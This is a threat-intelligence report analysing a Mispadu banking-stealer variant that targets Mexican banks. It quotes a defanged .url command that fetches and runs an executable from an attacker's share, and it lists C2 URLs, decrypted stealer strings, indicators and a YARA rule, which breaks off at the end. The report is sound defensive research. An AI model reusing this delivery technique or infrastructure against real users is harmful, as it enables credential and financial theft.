[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/mispadu-infostealer-variant/) * [Japanese](https://unit42.paloaltonetworks.com/ja/mispadu-infostealer-variant/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Exploring the Latest Mispadu Stealer Variant ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 12 min read Related Products [![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/product-category/advanced-dns-security/ "Advanced DNS Security")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR")[![Managed Threat Hunting icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Managed Threat Hunting](https://unit42.paloaltonetworks.com/product-category/managed-threat-hunting/ "Managed Threat Hunting") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Daniela Shalev](https://unit42.paloaltonetworks.com/author/daniela-shalev/) * [Josh Grunzweig](https://unit42.paloaltonetworks.com/author/josh-grunzweig/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:February 2, 2024 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Learning Hub](https://unit42.paloaltonetworks.com/category/learning-hub/) * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Banking Trojan](https://unit42.paloaltonetworks.com/tag/banking-trojan/) * [CVE-2023-36025](https://unit42.paloaltonetworks.com/tag/cve-2023-36025/) * [Mispadu infostealer](https://unit42.paloaltonetworks.com/tag/mispadu-infostealer/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/mispadu-infostealer-variant/?pdf=download&lg=en&_wpnonce=c159619a8e "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/mispadu-infostealer-variant/?pdf=print&lg=en&_wpnonce=c159619a8e "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Exploring%20the%20Latest%20Mispadu%20Stealer%20Variant&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F&title=Exploring%20the%20Latest%20Mispadu%20Stealer%20Variant "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F&text=Exploring%20the%20Latest%20Mispadu%20Stealer%20Variant "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Exploring%20the%20Latest%20Mispadu%20Stealer%20Variant%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmispadu-infostealer-variant%2F "Share in Mastodon") ## **Executive Summary** Unit 42 researchers recently discovered activity attributed to Mispadu Stealer, a stealthy infostealer first reported in 2019. We found this activity as part of the Unit 42 Managed Threat Hunting offering. We discovered this threat activity while hunting for the SmartScreen CVE-2023-36025 vulnerability. When we hunted for exploitation of the CVE-2023-36025 vulnerability in this case, we discovered an infostealer family that targets specific regions and URLs that are most commonly associated with citizens of Mexico. We identified a new variant of Mispadu Stealer, which we analyze here. Palo Alto Networks customers are better protected from the threats described in this article through [Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR) and [WildFire](https://docs.paloaltonetworks.com/wildfire) malware analysis. [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) and [DNS Security](https://docs.paloaltonetworks.com/dns-security) identify known domains and URLs associated with Mispadu Stealer activity as malicious. If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html). | **Related Unit 42 Topics** | [**Banking Trojan**](https://unit42.paloaltonetworks.com/tag/banking-trojan/), **[CVE-2023-36025](https://unit42.paloaltonetworks.com/tag/cve-2023-36025/)** | |----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------| ## **Mispadu Stealer Background** Mispadu Stealer is a known and stealthy banking Trojan first [reported by ESET in November 2019](https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/). Written in Delphi, it originally targeted victims in Brazil and Mexico. We discovered samples we strongly attribute to the Mispadu Stealer after the recent publication of the Windows SmartScreen bypass vulnerability identified as [CVE-2023-36025](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025). While hunting for bypass attempts, we identified a new variant of Mispadu that was created and executed before the CVE publication, which was potentially not intended to bypass this feature. ### SmartScreen Vulnerability CVE-2023-36025 CVE-2023-36025 is categorized as a security feature bypass vulnerability within the Windows SmartScreen function. SmartScreen is designed to protect users from untrusted sources by warning them about potentially harmful websites and files. An example of a SmartScreen warning is shown below in Figure 1. However, attackers can bypass these warnings by exploiting CVE-2023-36025. ![Image 1 is a screenshot of Microsoft Defender SmartScreen. Windows protected your PC. Microsoft Defender SmartScreen prevented an unrecognized app from starting. Running this app might put your PC at risk. Link for more info. Button: Don't run.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-1.png) Figure 1. Windows SmartScreen warning. This exploit revolves around the creation of a specifically crafted internet shortcut file (.url) or a hyperlink pointing to malicious files that can bypass SmartScreen's warnings. The bypass is simple and relies on a parameter that references a network share, rather than a URL. The crafted .url file contains a link to a threat actor's network share with a malicious binary as shown below in Figure 2. Using this crafted .url file, Windows will not display SmartScreen's warning message. Upon clicking the .url file, the victim is redirected to the threat actor's network share to retrieve and execute the malicious payload. ![Image 2 is a screenshot of the code that bypasses SmartScreen’s warning to run proc.exe.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-2.png) Figure 2. Crafted .url file that runs proc.exe without SmartScreen's warning. ## **SmartScreen Attack Explained** In November 2023, while hunting for attempts to bypass SmartScreen by searching for binaries executed from a network share, we observed a .url file at the following file path: * C:\\Users\\\\\AppData\\Local\\Temp\\4af8a553-b773-4448-b256-17329eb35676\_RFC.Online.\[redacted\].1981.d9f.zip.676\\\[redacted\].\[redacted\].1209.url The contents of this URL file are shown below in Figure 3. ![Image 3 is a screenshot of the contents of a URL with crafted content.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-3.png) Figure 3. Crafted .url file content. This .url file executed the following command to retrieve and execute a malicious binary named 2456719228.exe: * file\[:\]\\\\24.199.98\[.\]128@80\\expediente38\\1477606991\\2456719228.exe The malicious .url file was originally contained in a .zip archive that was downloaded by the Microsoft Edge browser: * C:\\Users\\\\\Downloads\\RFC.Online.\[redacted\].1981.d9f.zip These types of ZIP archives can be distributed as email attachments or as downloads from malicious websites. Based on the filename pattern of this ZIP example, we believe the threat actor likely distributed it as an email attachment. Upon further investigation, we identified similar payloads downloaded from the same command and control (C2). These binaries were all compiled and executed before publication of the SmartScreen bypass. This helped us identify that the [WebDAV](https://en.wikipedia.org/wiki/WebDAV) client was intended to execute those files. Navigating a UNC path in a .url file prompts the system to use the protocol based on network shares. While SMB is typically the default, the system would attempt to use WebDAV if SMB is not enabled. In such scenarios, the operating system will initiate a request through the rundll32.exe utility, as shown in Figure 4. ![Image 4 is a screenshot of a Rundll32 command utilizing WebDAV.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-4.png) Figure 4. Rundll32 command intended to utilize the WebDAV client. Notably, specifying an HTTP port (@80) within the UNC path compels Windows to leverage WebDAV over HTTP instead of SMB. This method is not limited to Mispadu Stealer. A different stealer described in a [report by Team Axon](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico) has also used this technique. While diving into our newly discovered samples, we found a strong connection to the Mispadu Stealer that appears to have evolved its techniques in recent years. To explore this evolution, we analyzed one of these new malware samples. ## **Sample Analysis** Through this research, we ultimately discovered a number of historical samples aligning to the Mispadu Stealer malware family. However, a small cluster of five recent samples heavily aligns with this campaign. These samples share numerous characteristics, including internal program database (PDB) strings, file size and compilation dates, as noted below: PDB: C:\\src\\client\\build\\Release-x64\\client.pdb Size: ~4 KB Compilation date: 2023-11-12 16:15:02 UTC |-------|-------------------------------------------------------------------------------------------------------------| | 1 2 3 | PDB: C:\\src\\client\\build\\Release-x64\\client.pdb Size: ~4 KB Compilation date: 2023-11-12 16:15:02 UTC | While we encountered hundreds of samples, this article uses the sample shown in Table 1 for our analysis: |-----------------------|------------------------------------------------------------------| | **Characteristic** | **Value** | | **SHA256** | 8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea | | **SHA1** | ba6d10e36f41c4ebc85f6beb95afd2b7c92406ad | | **MD5** | 723df0296951abd2aeed01361cec6b0d | | **Size** | 4,298,240 bytes | | **File Type** | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections | | **PDB** | C:\\src\\client\\build\\Release-x64\\client.pdb | | **Compile Timestamp** | 2023-11-12 16:15:02 UTC | *Table 1. Static characteristics of analyzed file.* Upon initial execution, this malware sample initially queries the bias (or difference in minutes) between the local time zone and UTC. The threat will then calculate the difference by subtracting 300 and checking to see if the resulting value is greater than 180. If the result is greater than 180, the malware will immediately exit. By performing this check, the malware targets certain areas of the world and ignores other regions. These checks result in the malware executing within most parts of the Americas, as well as certain regions of Western Europe. Throughout its execution, this sample selectively decrypts various strings. The sample uses the AES encryption algorithm to perform the necessary decryption routines through the bcrypt.dll library. By brute-forcing the identified functions, we've extracted the following strings from this sample. hxxps://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php b1 b2 ?f=2\&w= ?v1={:d}\&v2={:d} \&v4= \&v5= Admin User \&v6=X64 \&v6=X86 \&v7= \&v8= SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> {}; ?f=9\&w= ?rp\&p={:s}\&u={:s}\&w={:s}\&id={:s} {}.{}.{}.{} \&v9= cat id \\\\Google\\\\Chrome\\\\User Data \\\\Microsoft\\\\Edge\\\\User Data \\\\Default\\\\History \\\\Guest Profile\\\\History \\\\Profile {}\\\\History --mp --sp SOFTWARE\\\\Policies\\\\Google\\\\Chrome CloudManagementEnrollmentToken SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\ExtensionInstallForcelist $$$Secure UAP Dummy Window Class For Interim Dialog runas Chrome\_WidgetWin\_1 Google Chrome Microsoft Software\\\\{C4683D87-C704-4C9F-AD93-13D7FD42DF4F} {8FCEA990-A859-4745-94F7-F6F94885B9C4} SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion UBR SOFTWARE\\\\Microsoft\\\\Cryptography MachineGuid |----------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | hxxps://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php b1 b2 ?f=2\&w= ?v1={:d}\&v2={:d} \&v4= \&v5= Admin User \&v6=X64 \&v6=X86 \&v7= \&v8= SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> {}; ?f=9\&w= ?rp\&p={:s}\&u={:s}\&w={:s}\&id={:s} {}.{}.{}.{} \&v9= cat id \\\\Google\\\\Chrome\\\\User Data \\\\Microsoft\\\\Edge\\\\User Data \\\\Default\\\\History \\\\Guest Profile\\\\History \\\\Profile {}\\\\History --mp --sp SOFTWARE\\\\Policies\\\\Google\\\\Chrome CloudManagementEnrollmentToken SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\ExtensionInstallForcelist $$$Secure UAP Dummy Window Class For Interim Dialog runas Chrome\_WidgetWin\_1 Google Chrome Microsoft Software\\\\{C4683D87-C704-4C9F-AD93-13D7FD42DF4F} {8FCEA990-A859-4745-94F7-F6F94885B9C4} SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion UBR SOFTWARE\\\\Microsoft\\\\Cryptography MachineGuid | The malware identifies the %TEMP% directory on the victim host, which it will use for temporary file storage during the remainder of its execution. After it performs this action, the malware identifies the version of Windows the victim host is running and performs its initial HTTP/HTTPS check-in to the remote C2 server. The malware will perform either an HTTP or HTTPS GET request based on the version of Microsoft Windows the host is running. In the event that the victim machine is running Windows 7 or older, the malware will perform an HTTP request. Otherwise, the malware will perform an HTTPS request. Figure 5 shows what this request looks like. ![Image 5 is a screenshot of the code that creates a custom error page to disguise the campaign from web crawlers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-5.png) Figure 5. Custom error page displayed by the campaign to cloak itself from crawlers. In the example above, the w= parameter in the GET header line contains the version of Windows running on the victim host. After it performs this initial check-in and the C2 server receives a successful response, the malware proceeds to interact with the victim's Microsoft Edge or Google Chrome browser history via SQLite. It copies these browser history databases to the previously discovered %TEMP% directory, and it executes the following query against the copied files. SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> 13337916118295160; |---|---------------------------------------------------------------------------------------------------------| | 1 | SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> 13337916118295160; | Note that in the SQL statement above, 13337916118295160 is a Unix timestamp that aligns to a date of Aug. 29, 2023. By executing the SQL statement, the malware is looking at observed URLs the victim navigated to on Microsoft Edge or Google Chrome after that date. This provides additional information about the age of these attacks and how long they've been taking place. The malware then checks the extracted URLs against a targeted list. To build a list of URLs the attackers are interested in, the malware leverages a prebuilt list of SHA256 hashes. The malware makes these hashes from the URLs after splitting them by the "." character. The malware also prepends the 0x23155CA4D7D94B1E511228924940CAD2A19F801DDC8A445A819C1F9FD1B10226 hash to the data that it's hashing. This prevents researchers and analysts from brute-forcing or otherwise searching the internet for the hashes it uses. To provide a practical example of how this process works, we'll use an example of our website at https://unit42.paloaltonetworks.com/. * The malware first removes https:// from the URL, as well as the trailing /, resulting in unit42.paloaltonetworks.com. * It then splits this string by the "." character, resulting in three strings of unit42, paloaltonetworks and com. * Finally, the malware hashes each of these strings with the prepended hash, resulting in the following three hashes: * dd4018e2cff36fc896497d4539397e8334aa9a5910e73b45bde4f7206aa5ebe3 * 135c9ef3baaef856dd9ca7801bfb690a3662646ab97568e916a1af06d382b81f * 4c21caa1fc4c01fa51d918be8ab40077e79b5b8dbaea098328ff953fc7aca8c2 We observed a total of 15 groupings of hashes for this malware -- in other words, this malware targets 15 URLs. By brute-forcing the algorithm the malware leveraged, we identified a number of underlying strings, as noted below in Table 2. |------------------------------------------------------------------|------------| | **SHA256 Hash** | **String** | | cf546a4c5c7fdd3935ed7d93f5482057e3c8ff8723c3a73caba1fc5e3a5c96b4 | bitso | | 4c21caa1fc4c01fa51d918be8ab40077e79b5b8dbaea098328ff953fc7aca8c2 | com | | 018beb515d323dee4f04ad9663863324859f4eb896576dbef1df950568084030 | enlace | | bbaba0482f486b0d7b7738af8bc4731dbb80faef7f8b3888d9859726dbd53957 | hsbc | | 748a57a4d4e806daa6c5e54af96f9e7839bc2260e5f0258e5edf617a92045085 | mx | | 3e165f375f498d802ce7f47739ae9d93236f83811335da55aef1dc1c17694f53 | nbem | | 0332d65ee6d896d1b326748e0108b1ac1ad97e94796dd17c7e15fa10317445a9 | nixe | | 974fe99972905800c1dd1a3527de58c291ed1f8f1c654f2f302d6b3b70af2b10 | see | | ac027e988dad213707537bdc0172509b9135115337c5744816b079390d5a3e82 | www | | 4a774438d15381d9ab308dd73c2917aee83897d654c39db24f4dd6f173564914 | ixe | | 4b276d43308450619fec6befdf92c5171298e3651ed6f06a5a637f8a5afc407f | monex | | e8deebe849f80654b53b73d41a379919a86c4c356715d34729335e79089127c7 | secure | | d4fed9ca90249707099926e336c0ec5abc0be8fbeb0e1889f7259e0e7312b9a0 | wallet | | d752b7472110cbf7f4513b64658c751148304f287b13df26890642d64b75c264 | bbvanet | | 4e209b1dd2d4eaa3b041dddbe7f1bd0c6b07145c0102999060d7ceeb64978e90 | hsbcnet | | b70ad99286733a4eb2ebc615fbfdbc9b278aaa15ad23d661696ae54eb186a5a4 | www1 | | 44c505974154050ec0c671eb2f1d27f72886243bfafff8c3523b0ce1d64f944a | www2 | *Table 2. Brute-forced strings used to target specific URLs within the browser.* While we were unable to identify the majority of the full groupings, we were able to understand the following URLs where ?? represents unidentified SHA256 hashes: * www.??.??.hsbc\[.\]com\[.\]mx * www1.secure.hsbcnet\[.\]com * bancadigital.monex\[.\]com\[.\]mx * nixe.ixe\[.\]com\[.\]mx * empresas.bbvanet\[.\]com\[.\]mx These hosts align toward financial institutions, financial exchanges and organizations aligned with cryptocurrency. The majority of these URLs are based in Mexico, based on their .mx suffixes. In the event it notes any matches, the malware proceeds to upload data via an HTTP/S POST request, as noted in Figure 6 below. ![Image 6 is a screenshot of a HTTP/S POST. It includes the host and the user agent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-6.png) Figure 6. HTTP POST request generated by Mispadu. This request has a number of additional URI parameters, which Table 3 outlines below. |--------------|----------------------------------| | **Variable** | **Description** | | v1 | User UI language | | v2 | Keyboard layout | | v4 | Operating system | | v5 | Process permissions (user/admin) | | v6 | CPU architecture (X64/X86) | *Table 3. URI parameters and their associated data.* After it has successfully updated the data, the malware will send a final HTTP/S GET request, as shown in Figure 7 below. ![Image 7 is a screenshot of a GET request Mispadu generates. It includes the host and the user agent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-7.png) Figure 7. Final GET request generated by Mispadu. This request differs from the first insofar as the f parameter is set to a value of 9 instead of the value of 2 that we originally observed. ## **Attribution** The C2 infrastructure and info-stealing functionality discovered in this sample are similar to the ones used by a Mispadu AutoIt sample from May 2023. This information helped form our assumption that the recently compiled binaries are a new version of the Mispadu Stealer previously reported by [MetabaseQ](https://www.metabaseq.com/mispadu-banking-trojan/). We also found a connection between this sample and another Mexican infostealer campaign. ### Mispadu Stealer Mispadu is notorious information-stealing malware first identified in 2019, which specifically targets Spanish- and Portuguese-speaking victims. The typical distribution method for Mispadu involves spam campaigns, where victims receive malicious emails containing a .zip file housing a deceptive URL. Mispadu is multistage malware, containing various techniques that its developers are constantly changing. Over the past year, recent versions have had multiple changes, but some techniques remained similar. This section summarizes the similarities and differences between this malware and other malware targeting Latin America (LATAM). #### March 2023 The new malware's C2 traffic heavily aligns with the Mispadu campaign that [MetabaseQ previously discussed in March 2023](https://www.metabaseq.com/mispadu-banking-trojan/). In our analysis, we also identified a strong similarity within the info-stealing capability, which the developers wrote as an AutoIt script in the earliest samples. The following similarities and differences are notable between the samples: * While the C2 servers keep changing, we observed a similar .php file in both campaigns: it.php * The .php file accepts parameters such as system language, system architect and operating system. * In this new sample, we observed the same parameter names being passed to it.php, as in the campaign described in May 2023: * v1: Computer language * v2: Keyboard layout (language) * v4: Operating system * v5: Whether the process is admin or not * v6: System architecture A significant difference we observed between the campaigns is the execution chain and the main payload. While the campaign of May 2023 contained a multistage malware sample with an AutoIt script main payload, the newest sample is an executable that contains the same info-stealing functionality as the former AutoIt script. As mentioned above, the info-stealing technique in both samples seems to be similar in the following ways: * Both use SQLite to read stored credentials. This is a legitimate library that other infostealers also use. * Previous samples of Mispadu used known tools such as WebBrowserPassView and Mail PassView for credential extraction. However, we suspect that the authors changed this method to use SQLite to evade detection. * While they won't extract all credentials, both samples are targeting specific banking websites. * Both samples use Bcrypt.dll and AES encryption. #### August 2023 We observed additional similarities between the payload shown below in Figure 8 and the payload from a Mexican campaign shown below in Figure 9 that [Team Axon reported](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico) on in August 2023. Unlike the new samples, the campaign from August 2023 implements its info-stealing capability using PowerShell code. On top of that functionality, samples from this campaign have additional capabilities not observed in the current case, such as the installation of malicious Chrome extensions. However, in this case the common ground between this campaign and our new sample is the initial delivery via .url files. Additionally, the campaign in August 2023 also leveraged the WebDAV feature for execution. While the .url file pointed to a .jse file, the new variant used a .url file that pointed to an executable file (.exe). ![Image 8 is a screenshot of many lines of code. Highlighted in a black box is the URL as it points to the .exe file.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-8.png) Figure 8. URL pointing to an .exe file in the new campaign. ![Image 9 is a screenshot of many lines of code. Highlighted in a black box is the URL as it points to the .jse file.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-9.png) Figure 9. URL pointing to a .jse file in the campaign of August 2023. Mispadu typically focuses on LATAM countries and Spanish- or Portuguese-speaking users. This particular campaign has been detected across various regions, with Mexico being the most prominent, as noted in Figure 10 below. This campaign is spreading rapidly, reaching other European regions that we haven't seen targeted in previous campaigns. Although the malware doesn't steal credentials from untargeted regions, it's only a matter of time until the threat authors release the next version of their malware. At that time, the threat might expand its targets. [![Image 10 is a column graph of the affected countries. Mexico, France and Spain are the top three, followed by the U.S., Switzerland, Germany, Texas, Belgium and Argentina.](https://unit42.paloaltonetworks.com/wp-content/uploads//Mispadu-F10-Revised.svg)](https://unit42.paloaltonetworks.com/wp-content/uploads//Mispadu-F10-Revised.svg) Figure 10. Statistics of infected countries. ## Conclusion This new Mispadu variant keeps evolving and changing techniques -- until it's almost impossible to attribute it to previous campaigns. However, minor similarities can shed light into the attribution of different samples. These differences mean that a comprehensive and multifaceted approach to cybersecurity becomes critical. This approach includes staying informed on the latest threat intelligence, employing robust endpoint protection and fostering a culture of cybersecurity awareness among users. Palo Alto Networks customers are better protected from malware discussed in this article through [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr), including [WildFire](https://docs.paloaltonetworks.com/wildfire), Behavioral Threat Protection and Local Analysis. Additionally, [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) and [DNS Security](https://docs.paloaltonetworks.com/dns-security) identify known domains and URLs associated with Mispadu Stealer activity as malicious. If you think you might have been compromised or have an urgent matter, get in touch with the[Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html) or call: * North America Toll-Free: 866.486.4842 (866.4.UNIT42) * EMEA: +31.20.299.3130 * APAC: +65.6983.8730 * Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](https://www.cyberthreatalliance.org). ## **Indicators of Compromise** ### File Indicators * 8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea * bc25f7836c273763827e1680856ec6d53bd73bbc4a03e9f743eddfc53cf68789 * fb3995289bac897e881141e281c18c606a772a53356cc81caf38e5c6296641d4 * 46d20fa82c936c5784f86106838697ab79a1f6dc243ae6721b42f0da467eaf52 * 03bdae4d40d3eb2db3c12d27b76ee170c4813f616fec5257cf25a068c46ba15f * 1b7dc569508387401f1c5d40eb448dc20d6fb794e97ae3d1da43b571ed0486a0 * e136717630164116c2b68de31a439231dc468ddcbee9f74cca511df1036a22ea ### Network Indicators * plinqok\[.\]com * trilivok\[.\]com * xalticainvest\[.\]com * moscovatech\[.\]com * hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php * hxxps://plinqok\[.\]com/3dzy14ebg/buhumo0/it.php * 24\.199.98\[.\]128/expediente38/8869881268/8594605066.exe * 24\.199.98\[.\]128/verificacion58/6504926283/3072491614.exe * 24\.199.98\[.\]128/impresion73/5464893028/8024251449.exe ### YARA Rules rule u42\_crime\_win\_mispadu { meta: author = "Unit 42 Threat Intelligence" date = "2023-12-15" description = "Identifies the infostealer malware family associated with the Mispadu threat, which is responsible for targeting specific domains within a victim's browser history." hash1 = "8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea" hash2 = "30b4ab9707347c6bdd9035d1562cab31c78a27f5ad410871cadffeb208cd85e8" reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu" malware\_family = "mispadu" strings: $str1 = {687474703A2F2F0068747470733A2F2F00000000000000007B003A003000380078007D00000000002E2F0000000000004D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2054726964656E742F372E303B2072763A31312E3029206C696B65204765636B6F00005300480041003200350036000000000052746C47657456657273696F6E00} $str2 = {424372797074456E6372797074000000424372797074436C6F7365416C676F726974686D50726F76696465720000000043003A005C00570069006E0064006F00770073005C00530079007300740065006D003300320000005C00540065006D00700000000000000043003A005C00500072006F006700720061006D0044006100740061005C00540065006D00700000002C00000000000000554E4B4E4F574E007C0000003D000000687474703A2F2F0068747470733A2F2F00} $str3 = {6E00740064006C006C002E0064006C006C0000000000000057696E646F777320313100000000000057696E646F777320313000000000000057696E646F777320380000000000000057696E646F7773203700000000000000556E6B6E6F776E00410045005300000043006800610069006E0069006E0067004D006F00640065004300420043000000} condition: any of them } |-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | rule u42\_crime\_win\_mispadu { meta: author = "Unit 42 Threat Intelligence" date = "2023-12-15" description = "Identifies the infostealer malware family associated with the Mispadu threat, which is responsible for targeting specific domains within a victim's browser history." hash1 = "8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea" hash2 = "30b4ab9707347c6bdd9035d1562cab31c78a27f5ad410871cadffeb208cd85e8" reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu" malware\_family = "mispadu" strings: $str1 = 